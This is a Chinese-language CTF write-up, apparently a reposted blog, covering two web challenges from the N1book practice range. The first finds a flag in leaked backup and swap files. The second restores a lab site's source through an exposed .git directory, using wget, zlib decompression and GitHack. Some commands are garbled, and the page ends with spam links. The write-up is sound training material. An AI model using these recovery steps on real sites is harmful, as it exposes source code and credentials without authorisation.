当前位置: 首页 > news >正文

[第一章] web入门—N1book靶场详细思路讲解

今天逛靶场的时候发现了之前看过的一本书《从0到1:CTFer成长之路》竟然也出了配套题目;
既然如此,那就再开一个坑吧(虽然是CTFshow靶场题目也很多)

文章目录

    • 简介
    • 常见的搜集
    • 粗心的小李(很重要)
      • Git简介
      • 一般的git隐藏目录
        • 第一步:访问/.git/objects/第一个Hash值
        • 第二步:得到第二个Hash值
        • 第三步:重复步骤(获取 tree 对象)
        • 第四步:获取 blob(flag 文件内容)(第三个Hash值)
        • 总结:每一步的思路
      • 方法二:自动化工具
      • 知识点总结
      • 🔑 知识点
    • 总结


简介

《从0到1:CTFer成长之路》书籍配套题目,来源网站:https://book.nu1l.com/

常见的搜集

我们进入后,发现了如下的页面:
在这里插入图片描述

既然题目要我们信息搜集,那就常见工具一把梭呗。
查看源代码没有发现有用信息:
在这里插入图片描述

dirsearch等:
在这里插入图片描述

也是发现一些目录,那就一个个访问:
(1)robots.txt:发现了flag1:/flag1_is_her3_fun.txt,访问得到flag1:flag1:n1book{info_1

(2)/index.php~:发现了flag2:s_v3ry_im
在这里插入图片描述

(3)再访问/.index.php.swp,下载得到一个文件,打开后找到了关键字flag3:p0rtant_hack}

所以,得到flag为:

n1book{info_1s_v3ry_imp0rtant_hack}

粗心的小李(很重要)

看看能不能找到信息吧?
进入页面,首先我们就看到了关键词 git
在这里插入图片描述

同时我们还注意到:小李好像不是很小心,经过了几次迭代更新就直接就把整个文件夹放到线上环境了:(

Git简介

  • Git 简介
    • Git 是一种分布式版本控制系统,用于跟踪文件和项目的历史变更。
    • 它允许开发者在本地维护一个完整的代码库副本,并能方便地与团队成员协作,合并各自的修改。
    • 通过 Git,可以轻松回溯到项目的任何一个历史版本,管理和追踪代码的每一次变动。

首先我们访问.git目录,发现没有权限:
在这里插入图片描述

一般的git隐藏目录

既然如此,我们就进行常见的 .git 的攻击步骤:

  • .git/config:访问此文件可以获取 Git 仓库的远程 URL、分支信息以及其他配置。

    • Payload:/.git/config
    • 发现内容,说明存在漏洞:得知了Git 版本和配置
  • .git/HEAD:此文件指向当前的分支。

    • Payload:/.git/HEAD
    • 可以得知:HEAD 文件指向了 refs/heads/master,这表示当前分支是master
  • /.git/logs/HEAD:很重要

返回的结果为:
在这里插入图片描述

0000000000000000000000000000000000000000 213b7e386e9b0b406d91fae58bf8be11a58c3f88 Veneno 593220746@qq.com 1575428654 +0800 commit (initial): flag

好了,接下来开始我们真正的干货;
这里我们主要是用到/.git/logs/HEAD得到的Hash值


第一步:访问/.git/objects/第一个Hash值

我们刚刚得到了第一个Hash值:213b7e386e9b0b406d91fae58bf8be11a58c3f88

注意:提交对象包含了指向目录树的哈希值以及作者、时间、提交信息等。你需要下载这个对象来获取下一步的信息。
(取前两位作为前一个目录)
哈希值: 213b7e386e9b0b406d91fae58bf8be11a58c3f88
Payload: /.git/objects/21/3b7e386e9b0b406d91fae58bf8be11a58c3f88

接下来就需要访问它了:

在这里插入图片描述
这个时候就会得到一个与Hash值匹配的文件;

第二步:得到第二个Hash值

下载对象文件(压缩的二进制 blob):

wget http://xxx.com:44103/.git/objects/21/3b7e386e9b0b406d91fae58bf8be11a58c3f88 -O commit_obj.zlib# 检查文件是否成功下载
ls -lh commit_obj.zlib
file commit_obj.zlib

命令结果如下:

在这里插入图片描述

解压文件:
方法 A:用 Python

python3 - << 'EOF'
import zlib
data = open('commit_obj.zlib','rb').read()
decompressed = zlib.decompress(data)
print(decompressed.decode('utf-8', errors='replace'))
EOF

方法 B:用 openssl(有时候也可行,视压缩方式):

openssl zlib -d -in commit_obj.zlib -out commit_obj.txt

查看内容:

cat commit_obj.txt

在这里插入图片描述

得到第二个Hash值:f46fbac4149604ca13a765950f9a2d1fd8c1c7ad

第三步:重复步骤(获取 tree 对象)

所以对应的对象路径就是:

/.git/objects/f4/6fbac4149604ca13a765950f9a2d1fd8c1c7ad

还是得到了一个同名文件:
在这里插入图片描述

接下来就是重复步骤了:

  1. 下载 tree 对象:
wget http://xxx.com:44103/.git/objects/f4/6fbac4149604ca13a765950f9a2d1fd8c1c7ad -O tree_obj.zlib
  1. 解压 tree 对象:
python3 -c "import zlib,sys;print(zlib.decompress(open('tree_obj.zlib','rb').read()))" | hexdump -C

⚠️ 注意:tree 对象不是纯文本,会有 二进制分隔符,所以直接 cat 会乱码

  1. 如果想直接看到文件名(解析 blob 对象的 filename 部分),可以用:
python3 -c "import zlib,sys;print(zlib.decompress(open('tree_obj.zlib','rb').read()))"

你会在里面看到类似:

100644 blob <flag_blob_hash> flag.txt

实际结果为:
在这里插入图片描述

第四步:获取 blob(flag 文件内容)(第三个Hash值)

接下来就下载并解压:

wget http://xxx.com:44103/.git/objects/ab/cd1234ef5678... -O flag_obj.zlib
python3 -c "import zlib,sys;print(zlib.decompress(open('flag_obj.zlib','rb').read()).decode())"

结果如下:
在这里插入图片描述

重复操作:访问Hash目录——>下载同名文件——>解压

# 下载Hash目录
wget http://xxx.com:44103/.git/objects/1e/0db5d96b5cc9785055c14bbec0e7ad14f48151 -O index_blob.zlib# 解压
wget http://challenge.qsnctf.com:44103/.git/objects/ab/cd1234ef5678... -O flag_obj.zlib
python3 -c "import zlib,sys;print(zlib.decompress(open('flag_obj.zlib','rb').read()).decode())"

最终得到结果为:页面的源代码+flag
在这里插入图片描述

总结:每一步的思路

在这里插入图片描述


方法二:自动化工具

接下来我们就要使用工具来导出了:
具体命令:

python GitHack.py http://xxx.com:44103/.git

得到了一个文件,我们打开即可得到flag:

在这里插入图片描述

得到一个html文件,访问即可:
在这里插入图片描述
得到flag:

在这里插入图片描述

知识点总结

这道题本质上是 Git 泄露(.git 源码泄露)利用题,考察的知识点主要有:

🔑 知识点

  1. Git 工作原理

    • Git 的数据存储是基于对象的:

      • commit 对象:记录提交信息,指向一个 tree。
      • tree 对象:类似目录,保存文件列表及其对应的 blob。
      • blob 对象:保存实际文件内容。
    • 各对象通过 SHA-1 哈希 串联起来。

  2. Git 泄露利用

    • 如果目标站点的 .git/ 目录可访问,可以通过下载 .git/objects 文件还原源码或敏感文件(如 flag)。
    • 常见的工具:GitHack、手工 wget + zlib 解压。
  3. zlib 压缩格式

    • Git 对象文件是 zlib 压缩的二进制流,需要用 zlib 或其他解压工具处理。
  4. 数据解析

    • commit 对象:提取 tree 哈希值。
    • tree 对象:解析文件目录,找到文件名和对应的 blob 哈希。
    • blob 对象:获取文件实际内容(如 flag.txt)。
  5. CTF 思维考点

    • 信息溯源:由 commit → tree → blob 层层追溯。
    • 二进制解析:理解 Git 的数据存储方式,而不是只靠黑盒工具。
    • 实战意义:真实环境下若 .git/ 泄露,攻击者可恢复源码、配置文件、甚至敏感凭据。

👉 总结:
这题考察的就是 Git 对象存储机制 + 源码泄露利用 + zlib 压缩解包 + 哈希追踪思维

总结

原本想着一篇文章给各位写4道题目的,但没想到第二道题目的Git考点如此繁杂,所以光是写第二道题就用了两个小时,实在是太累了。

只能改成下一篇文章了。


文章转载自:

http://YkzKix7o.tgyzk.cn
http://QfcO0WwB.tgyzk.cn
http://pYDe1T5o.tgyzk.cn
http://jGrryaBC.tgyzk.cn
http://5IUetJP6.tgyzk.cn
http://qsHV0TMO.tgyzk.cn
http://OKSy2xOa.tgyzk.cn
http://su4YJzcl.tgyzk.cn
http://PaMrRRs3.tgyzk.cn
http://1bVLaJmY.tgyzk.cn
http://u4vxYc7b.tgyzk.cn
http://EU0C0yxG.tgyzk.cn
http://t0WQZNYZ.tgyzk.cn
http://QHsVp5y6.tgyzk.cn
http://y6sd9JU0.tgyzk.cn
http://toUQN2Sy.tgyzk.cn
http://1EkRbkVG.tgyzk.cn
http://xU2xCv25.tgyzk.cn
http://ecFjxkMI.tgyzk.cn
http://Hc754JDF.tgyzk.cn
http://QOt4ws3M.tgyzk.cn
http://bQbgmqOU.tgyzk.cn
http://FREOVhYZ.tgyzk.cn
http://NGG1Tkkk.tgyzk.cn
http://t6tAcMM4.tgyzk.cn
http://Mu5ziINf.tgyzk.cn
http://dVctexLA.tgyzk.cn
http://uVjjzb3k.tgyzk.cn
http://6KXhk5pZ.tgyzk.cn
http://wSMpDg7C.tgyzk.cn
http://www.dtcms.com/a/378849.html

相关文章:

  • uniapp 文件查找失败:main.js
  • 第7篇、Kafka Streams 与 Connect:企业级实时数据处理架构实践指南
  • Linux redis 8.2.1源码编译
  • logging 模块升级版 loguru
  • 【Flask】实现一个前后端一体的项目-脚手架
  • 小说阅读系统Java源码 小说阅读软件开发 小说app小程序
  • 如何在 Debian 12 上安装 MySQL
  • GA-PNN: 基于遗传算法的光子神经网络硬件配置方法(未做完)
  • STM32基础篇--GPIO
  • 无人机遥控器射频模块技术解析
  • Docker 命令核心语法
  • 第五章:Python 数据结构:列表、元组与字典(一)
  • Python快速入门专业版(二十一):if语句基础:单分支、双分支与多分支(判断用户权限案例)
  • 学习笔记:JavaScript(4)——DOM节点
  • 软考中级习题与解答——第四章_软件工程(3)
  • 消息队列-kafka完结
  • SKywalking Agent配置+Oracle监控插件安装指南
  • Skywalking告警配置+简易邮件告警应用配置(保姆级)
  • 【matlab】YALMIP、GLPK安装资源及安装方法
  • modbus学习
  • 创建GLFW窗口,开启OpenGL之路
  • (网络原理)核心知识回顾 网络核心原理 get和post的理解 解析http 加密+请求和响应的一些关键字 Cookie和session 对密钥的理解
  • 如何提升研发文档的检索体验与效率
  • 分布式事务性能优化:从故障现场到方案落地的实战手记(三)
  • R-Zero:大语言模型的自进化革命,突破数据依赖迈向自主智能
  • RL【8】:Value Function Approximation
  • StringJoiner
  • 【知识堂】制造业与物流数字化全景图:系统缩写大全与专业名词速查手册
  • 项目1——单片机程序审查,控制系统安全漏洞分析和改进建议
  • 中断上半部与中断下半部